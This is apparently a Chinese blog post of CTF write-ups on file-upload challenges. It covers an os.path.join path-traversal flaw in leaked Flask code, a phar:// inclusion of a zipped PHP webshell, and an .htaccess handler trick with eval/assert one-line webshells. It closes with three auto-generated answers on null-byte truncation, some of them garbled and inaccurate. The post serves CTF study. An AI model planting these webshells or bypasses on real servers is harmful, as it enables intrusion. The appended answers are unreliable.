CTF-文件上传

[NISACTF 2022] babyupload

界面没什么好稀奇的,上来就是上传文件:

这里在测试的时候,发现无论怎么上传都提示bad filename!奇奇怪怪;f12源代码,发现:

存在着提示?尝试访问,发现存在源码的泄露,代码审计:

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request
def setup():
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

        # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

代码80行存在着os.path.join()函数,该函数存在着一个漏洞,看下面的例子:

import os

a = os.path.join('/test1','/test2');
print(a);			//输出的结果为/test2

b = os.path.join('/test1','test2');
print(b);			//输出的结果为/test1/test2

存在的漏洞便是该函数的第二个参数如果以“/”开头的话,那么拼接后的路径中是不存在参数1的,会直接丢弃掉参数1的路径;

该源码的大概意思是上传文件后,文件名中不可以包含“.”,如果包含点号的话,就会提示"Bad filename!",之后便会将文件进行上传,连接数据库,创建uid,将uid和文件名一同存储在数据库中;但是我们想要读取flag,源码中已经写死了/uploads,怎么办呢?此时便需要结合os.path.join()函数的漏洞,传递文件名的时候,我们可以是让/开头,那么之后进行拼接的时候,便会将前面的路径全部舍弃;因此最终只要上传的文件名为/flag即可读取到flag:

[NISACTF 2022]bingdundun~

来到界面:

先看看源码:

提示可以上传图片或者是压缩包;经过测试仅能上传图片和压缩包,考虑到可以上传压缩包,便可以结合phar伪协议来读取压缩包中的php文件的内容;

构造php一句话木马文件,将其压缩为zip文件,之后将其上传配合phar伪协议读取文件中的内容:

//刚开始的界面便看到了参数为bingdundun,利用phar伪协议读取压缩包中的文件内容
//?bingdundun=phar://24811f2c93f100ca71c3e1d741e766be.zip/1
//POST传参x=phpinfo();

蚁剑连马即可;

[GXYCTF 2019]BabyUpload

题目提示是.htaccess文件上传知识点的利用,但是在上传的时候,发现存在MIME检测,而且MIME类型必须为image/jpeg才能上传成功。

先上传.htaccess文件:

<FilesMatch "17">
SetHandler application/x-httpd-php
</FilesMatch>

接着上传17.png文件,同样这里记得修改MIME信息,同时发现在上传的时候,以下一句话木马写法被过滤:

<?php
	eval($_POST[x]);
?>
//换为:
<script language='php'>
assert($_POST[x]);
</script>

上传成功后,执行phpinfo();

没继续连马;执行x=var_dump(scandir('/'));

发现flag文件,执行x=print(file_get_contents('/flag'));得到flag;

### 回答1: ctfhub 文件上传 - 00截断是一种常见的安全漏洞,攻击者可以通过截断文件名或者文件内容来绕过文件上传的限制,从而上恶意文件或者执行任意代码。这种漏洞需要开发人员在编写文件上传功能时注意对文件名和内容进行严格的校验和过滤,以防止攻击者利用截断漏洞进行攻击。同时,用户也应该注意不要上可疑的文件或者访问不可信的网站,以保护自己的计算机安全。 ### 回答2: 文件上传漏洞是目前很多Web应用存在的一种常见漏洞,该漏洞的攻击者可以利用该漏洞从Web应用程序中上恶意文件,绕过访问控制机制,并在受害者服务器上执行任意命令。 在CTFHub文件上传-00截断中,漏洞原理是:在上文件时,上文件的后缀名是通过从客户端请求中获取的,如果在获取后缀名的过程中,我们可以通过攻击来修改请求,就可以上任意类型的文件,甚至是可执行文件,从而达到绕过文件类型的限制。 具体细节如下: 1. 开始上文件,上的文件后缀名为.php 2. 修改上请求中的文件后缀名为.gif,并截断请求,使之只保留文件的前8个字节。 3. 上的文件类型变为gif,并成功上。 4. 由于文件类型被篡改,服务器未检测到有可执行文件被上,因此上成功。 5. 资产管理窗口中能够看到已上的文件,并能够通过访问路径访问到上的文件,例如,可以直接访问上的可执行文件,从而达到绕过文件类型限制,执行任意命令的目的。 由此可见,文件上传漏洞是一种危害性较高的漏洞,因此开发人员在开发Web应用程序时,一定要认真检查,确保不会出现类似的漏洞现象。同时,在测试人员测试网站时,也应该重点检查文件上传功能,以确保网站的安全性和可靠性。 ### 回答3: ctfhub 文件上传 - 00截断是一种常见的文件上传漏洞攻击,攻击者利用该漏洞可以上恶意文件并将其存储到服务器中,从而导致服务器被攻击。 文件上传 - 00截断漏洞主要是利用了一些文件上传的不足之处,攻击者可以通过伪造请求包来修改原始文件名,从而实现文件截断的目的,也就是只保留了原始文件名的部分内容而去掉了后面的内容。 当攻击者上文件时,如果原始文件名过长,则服务器会自动截断文件名,一旦攻击者将文件名截断并发送一个伪造的请求包到服务器上,则服务器会根据该请求包上一个被截断的文件,从而导致服务器受到攻击。 例如,攻击者可以将文件名设置为“hack.php\x00.jpg”,当该文件上传到服务器上时,服务器会将文件名截断为“hack.php”,从而隐藏了文件的真实后缀名,诱骗用户下载并执行该文件。 为了避免被此类文件上传漏洞攻击,开发人员应该加强字符串截断的限制,防止非法输入,并进行文件类型检测,只允许上指定的文件类型,同时加密重要文件和数据,保护系统安全
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y4y17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值